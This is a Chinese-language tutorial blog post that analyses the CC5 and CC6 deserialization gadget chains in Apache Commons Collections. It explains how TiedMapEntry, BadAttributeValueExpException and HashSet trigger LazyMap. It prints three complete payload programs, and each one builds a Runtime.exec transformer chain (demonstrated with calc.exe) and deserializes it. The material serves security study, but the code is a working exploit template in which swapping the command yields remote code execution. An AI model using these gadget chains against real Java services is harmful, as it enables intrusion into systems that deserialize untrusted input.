赞
踩
CC5链分析
复习LazyMap利用链: https://blog.csdn.net/qq_35733751/article/details/118462281
在学习CC2链时我们知道由于JDK8版本改写了AnnotationInvocationHandler类的readobject方法,CC1链中LazyMap的get方法已经无法使用,CC5链使用了BadAttributeValueExpException类来代替AnnotationInvocationHandler类,并且还用了一个新的类来调用LazyMap的get方法。
CC5链的payload代码:
- package com.cc;
-
- import org.apache.commons.collections.Transformer;
- import org.apache.commons.collections.functors.ChainedTransformer;
- import org.apache.commons.collections.functors.ConstantTransformer;
- import org.apache.commons.collections.functors.InvokerTransformer;
- import org.apache.commons.collections.keyvalue.TiedMapEntry;
- import org.apache.commons.collections.map.LazyMap;
-
- import javax.management.BadAttributeValueExpException;
- import java.io.ByteArrayInputStream;
- import java.io.ByteArrayOutputStream;
- import java.io.ObjectInputStream;
- import java.io.ObjectOutputStream;
- import java.lang.reflect.Field;
- import java.util.HashMap;
-
- public class CC5Test {
- public static void main(String[] args) throws Exception {
-
- //构造核心利用代码
- Transformer[] transformers = new Transformer[]{
- new ConstantTransformer(Runtime.class),
- new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
- new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
- new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
- };
-
- //构造利用链
- ChainedTransformer chain = new ChainedTransformer(transformers);
-
- //触发连
- HashMap hashMap = new HashMap();
- LazyMap lazymap = (LazyMap) LazyMap.decorate(hashMap, chain);
- //将lazyMap传给TiedMapEntry
- TiedMapEntry entry = new TiedMapEntry(lazymap, "test");
- //反射调用TiedMapEntry
- BadAttributeValueExpException bad = new BadAttributeValueExpException(null);
- Field val = bad.getClass().getDeclaredField("val");
- val.setAccessible(true);
- val.set(bad,entry);
-
- //序列化 --> 反序列化
- ByteArrayOutputStream barr = new ByteArrayOutputStream();
- ObjectOutputStream oos = new ObjectOutputStream(barr);
- oos.writeObject(bad);
- oos.close();
- ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
- ois.readObject();
- }
- }
CC5链构造核心利用代码和利用链还是和CC1链一样没啥区别,我们主要关注后面是如何触发利用链。在构造触发链时还是用到了LazyMap类,但不同的是使用了一个新的类TiedMapEntry来调用LazyMap链,然后将TiedMapEntry类又传给了BadAttributeValueExpException类的val属性。
先来看TiedMapEntry类,该类实现了Serializable接口,在getValue方法并通过map属性调用了一个get方法
- public Object getValue() {
- return map.get(key);
- }
map属性是通过TiedMapEntry类的构造来赋值的(map属性是可控的),可以把LazyMap当做TiedMapEntry类的构造参数传给map属性。
- public TiedMapEntry(Map map, Object key) {
- super();
- this.map = map;
- this.key = key;
- }
这样就可以让TiedMapEntry类map属性来间接调用LazyMap类的get方法,从而触发之前构造的利用链了。
而getValue方法是在toString方法中被调用
- public String toString() {
- return getKey() + "=" + getValue();
- }
现在我们要思考的是如何调用TiedMapEntry类的toString?于是接下来需要找到一个类必须满足以下条件:
- 重写readObject方法
- 并在readObject方法中可以调用toString方法(并且调用toString方法的对象是可控的)
于是接下来我们找到一个BadAttributeValueExpException类:
- public class BadAttributeValueExpException extends Exception {
- /* Serial version */
- private static final long serialVersionUID = -3105272988410493376L;
-
- /**
- * @serial A string representation of the attribute that originated this exception.
- * for example, the string value can be the return of {@code attribute.toString()}
- */
- private Object val;
-
- /**
- * Constructs a BadAttributeValueExpException using the specified Object to
- * create the toString() value.
- *
- * @param val the inappropriate value.
- */
- public BadAttributeValueExpException (Object val) {
- this.val = val == null ? null : val.toString();
- }
-
-
- /**
- * Returns the string representing the object.
- */
- public String toString() {
- return "BadAttributeValueException: " + val;
- }
-
- private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
- //从流中读取字段
- ObjectInputStream.GetField gf = ois.readFields();
- //从流中读取val属性
- Object valObj = gf.get("val", null);
-
- if (valObj == null) {
- val = null;
- } else if (valObj instanceof String) {
- val= valObj;
- } else if (System.getSecurityManager() == null
- || valObj instanceof Long
- || valObj instanceof Integer
- || valObj instanceof Float
- || valObj instanceof Double
- || valObj instanceof Byte
- || valObj instanceof Short
- || valObj instanceof Boolean) {
- //相当于属性val调用toString方法
- val = valObj.toString();
- } else { // the serialized object is from a version without JDK-8019292 fix
- val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();
- }
- }
- }
readFields方法表示从输入流中读取字段,然后gf对象调用了get方法读取val属性,然后又调用了toString方法,val的内容同样是可控的,因此这里可以通过反射将val属性设置为TiedMapEntry类,这样就可以调用TiedMapEntry类的toString方法了,这样就可以触发利用链和核心利用代码。
CC5利用链流程:
CC6链分析
CC6链用到了很多关于集合的知识,如果你对集合不熟悉的话,想要理解CC6链的构造原理可能比较费劲,建议先复习一下集合的知识:8-java安全基础——HashSet,HashMap源码分析
TiedMapEntry类中有两个方法都调用了getValue方法,CC5链是通过toString方法调用getValue方法从而触发LazyMap,而在CC6链中则是通过hashCode方法来调用getValue方法。
- public Object getValue() {
- return map.get(key);
- }
-
- public String toString() {
- return getKey() + "=" + getValue();
- }
-
-
- public int hashCode() {
- Object value = getValue();
- return (getKey() == null ? 0 : getKey().hashCode()) ^
- (value == null ? 0 : value.hashCode());
- }
我们要找哪些地方调用了hashCode方法,然后再hashMap中找到一个hash方法,并且在该方法中调用了一个hashCode方法,参数k是通过put方法传递的,分析参数key是否可控。
- final int hash(Object k) {
- int h = hashSeed;
- if (0 != h && k instanceof String) {
- return sun.misc.Hashing.stringHash32((String) k);
- }
- //调用hashcode方法
- h ^= k.hashCode();
-
- // This function ensures that hashCodes that differ only by
- // constant multiples at each bit position have a bounded
- // number of collisions (approximately 8 at default load factor).
- h ^= (h >>> 20) ^ (h >>> 12);
- return h ^ (h >>> 7) ^ (h >>> 4);
- }
而hash方法是在put方法中被调用,HashMap每次调用put方法都会调用hash方法计算hash值。
- public V put(K key, V value) {
- if (table == EMPTY_TABLE) {
- inflateTable(threshold);
- }
- if (key == null)
- return putForNullKey(value);
- //计算hash值
- //调用hash方法
- int hash = hash(key);
- int i = indexFor(hash, table.length);
- for (Entry<K,V> e = table[i]; e != null; e = e.next) {
- Object k;
- if (e.hash == hash && ((k = e.key) == key || key.equals(k))) {
- V oldValue = e.value;
- e.value = value;
- e.recordAccess(this);
- return oldValue;
- }
- }
-
- modCount++;
- addEntry(hash, key, value, i);
- return null;
- }
利用链构造完了,接下来需要找到一个触发利用链的地方(重写了readObject方法同时又调用了put方法的地方),正好有一个HashSet集合满足条件,hashSet重写了writeObject和readObject方法实现自定义序列化与反序列化
- //序列化
- private void writeObject(java.io.ObjectOutputStream s)
- throws java.io.IOException {
- // Write out any hidden serialization magic
- s.defaultWriteObject();
-
- // Write out HashMap capacity and load factor
- s.writeInt(map.capacity());
- s.writeFloat(map.loadFactor());
-
- // Write out size
- s.writeInt(map.size());
-
- //将元素依次序列化
- for (E e : map.keySet())
- s.writeObject(e);
- }
-
- //反序列化
- private void readObject(java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException {
- // Read in any hidden serialization magic
- s.defaultReadObject();
-
- // Read in HashMap capacity and load factor and create backing HashMap
- int capacity = s.readInt();
- float loadFactor = s.readFloat();
- map = (((HashSet)this) instanceof LinkedHashSet ?
- new LinkedHashMap<E,Object>(capacity, loadFactor) :
- new HashMap<E,Object>(capacity, loadFactor));
-
- // Read in size
- int size = s.readInt();
-
- // Read in all elements in the proper order.
- for (int i=0; i<size; i++) {
- //依次将元素还原成java对象(反序列化)
- E e = (E) s.readObject();
- //将java对象传给put方法
- map.put(e, PRESENT);
- }
- }
writeObject方法中会将hashSet集合中的元素依次取出来序列化,readObject方法会判断当前HashSet对象是否为LinkedHashSet,如果不是则直接返回HashMap,接着从流中读取hashSet集合中的元素并还原成java对象,然后将java对象作为参数key传给put方法,自定义序列化和反序列化过程中的hashSet集合中的元素是可控的,如果在hashSet集合中添加TiedMapEntry对象元素,这样就能控制put方法中的key了。
分析hashSet集合add方法底层实现后发现add方法底层调用了map.put方法,并且在putVal方法内部将key传给了Node。
- final V putVal(int hash, K key, V value, boolean onlyIfAbsent,boolean evict) {
- Node<K,V>[] tab; Node<K,V> p; int n, i;
- if ((tab = table) == null || (n = tab.length) == 0)
- //resize方法会返回table属性的引用
- n = (tab = resize()).length;
- if ((p = tab[i = (n - 1) & hash]) == null)
- //将key传给Node
- tab[i] = newNode(hash, key, value, null);
- else {
- Node<K,V> e; K k;
- if (p.hash == hash &&
- ((k = p.key) == key || (key != null && key.equals(k))))
- e = p;
- else if (p instanceof TreeNode)
- e = ((TreeNode<K,V>)p).putTreeVal(this, tab, hash, key, value);
- else {
- for (int binCount = 0; ; ++binCount) {
- if ((e = p.next) == null) {
- p.next = newNode(hash, key, value, null);
- if (binCount >= TREEIFY_THRESHOLD - 1) // -1 for 1st
- treeifyBin(tab, hash);
- break;
- }
- if (e.hash == hash &&
- ((k = e.key) == key || (key != null && key.equals(k))))
- break;
- p = e;
- }
- }
- if (e != null) { // existing mapping for key
- V oldValue = e.value;
- if (!onlyIfAbsent || oldValue == null)
- e.value = value;
- afterNodeAccess(e);
- return oldValue;
- }
- }
- ++modCount;
- if (++size > threshold)
- resize();
- afterNodeInsertion(evict);
- return null;
- }
Node创建了一个实例
- Node<K,V> newNode(int hash, K key, V value, Node<K,V> next) {
- return new Node<>(hash, key, value, next);
- }
然后将hashSet集合添加的元素给了Node对象的key属性
- Node(int hash, K key, V value, Node<K,V> next) {
- this.hash = hash;
- //将key赋值给key属性
- this.key = key;
- this.value = value;
- this.next = next;
- }
返回到putVal方法中,该方法会将Node对象(key/value键值对)赋给一个Node<K,V>[]类型的tab数组(tab实际上是由resize方法返回的table属性引用),即HashMap的table属性,因为hashSet集合添加元素底层用到了HashMap集合,而HashMap会把元素以Node进行存储。
经过分析之后发现hashSet集合的add方法底层还是调用了map.put方法,控制put方法中的参数key的思路有两种:
方式一:往hashSet集合中直接添加TiedMapEntry对象。
方式二:是通过反射先从hashSet集合中获取map属性所指向的hashmap对象,然后再从hashmap中获取table属性中的Node对象,最后将Node对象中的key属性修改为TiedMapEntry对象,Node为啥能接收Entry?这明明是两个完全不同类型的对象,如果你对于HashMap底层实现非常了解的话,相信这一点对你来说应该不难理解,其实主要是因为Node实现了Entry接口。
以上方式都可以构造利用链,在yseoserial工具CC6链中是使用第二种方式。
CC6链的payload代码:
- package com.cc;
-
- import org.apache.commons.collections.Transformer;
- import org.apache.commons.collections.functors.ChainedTransformer;
- import org.apache.commons.collections.functors.ConstantTransformer;
- import org.apache.commons.collections.functors.InvokerTransformer;
- import org.apache.commons.collections.keyvalue.TiedMapEntry;
- import org.apache.commons.collections.map.LazyMap;
-
- import java.io.*;
- import java.lang.reflect.Field;
- import java.util.HashMap;
- import java.util.HashSet;
-
- public class CC6Test1 {
- public static void main(String[] args) throws Exception {
-
- Transformer[] transformers = new Transformer[]{
- new ConstantTransformer(Runtime.class),
- new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
- new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
- new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"}),
- };
-
- ChainedTransformer chain = new ChainedTransformer(transformers);
- HashMap hashMap = new HashMap();
- LazyMap lazyMap = (LazyMap) LazyMap.decorate(hashMap, chain);
- TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "foo");
-
- HashSet hashSet = new HashSet(1);
- hashSet.add("foo");
- //获取HashSet的map属性
- Field field = hashSet.getClass().getDeclaredField("map");
- field.setAccessible(true);
- //获取HashSet集合中的map属性的hashmap对象
- HashMap hashset_map = (HashMap)field.get(hashSet);
-
- //获取HashMap的table属性
- field = HashMap.class.getDeclaredField("table");
- field.setAccessible(true);
- //从hashmap对象中获取table属性的值(返回的是一个HashMap.Node类型的数组)
- Object[] array = (Object[]) field.get(hashset_map);
- Object node = array[0];
- if(node == null){
- node = array[1];
- }
- Field keyField = null;
- //获取HashMap.Node类中的key属性
- keyField = node.getClass().getDeclaredField("key");
- keyField.setAccessible(true);
- //然后将HashMap.Node类中的key属性设置为TiedMapEntry对象
- keyField.set(node, tiedMapEntry);
-
- //序列化 --> 反序列化
- ByteArrayOutputStream barr = new ByteArrayOutputStream();
- ObjectOutputStream oos = new ObjectOutputStream(barr);
- oos.writeObject(hashSet);
- oos.close();
- ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
- ois.readObject();
- }
- }
关于方式一中往hashSet集合中直接添加TiedMapEntry对象,最终代码如下:
- package com.cc;
-
- import org.apache.commons.collections.Transformer;
- import org.apache.commons.collections.functors.ChainedTransformer;
- import org.apache.commons.collections.functors.ConstantTransformer;
- import org.apache.commons.collections.functors.InvokerTransformer;
- import org.apache.commons.collections.keyvalue.TiedMapEntry;
- import org.apache.commons.collections.map.LazyMap;
-
- import java.io.*;
- import java.util.HashMap;
- import java.util.HashSet;
- /*
- 方式一:往hashSet集合中直接添加TiedMapEntry对象。
- */
- public class CC6Test2 {
- public static void main(String[] args) throws Exception {
-
- Transformer[] transformers = new Transformer[]{
- new ConstantTransformer(Runtime.class),
- new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
- new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
- new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"}),
- };
-
- ChainedTransformer chain = new ChainedTransformer(transformers);
-
- HashMap hashMap = new HashMap();
- LazyMap lazyMap = (LazyMap) LazyMap.decorate(hashMap, chain);
- TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "foo");
- //直接向Set集合中添加TiedMapEntry,触发利用链
- HashSet hashSet = new HashSet(1);
- hashSet.add(tiedMapEntry);
-
- ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("ser2.out"));
- outputStream.writeObject(hashSet);
- outputStream.close();
-
- ObjectInputStream inputStream=new ObjectInputStream(new FileInputStream("ser2.out"));
- inputStream.readObject();
- }
- }
总体来说,方式二的利用链的构造比方式一要复杂很多。
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。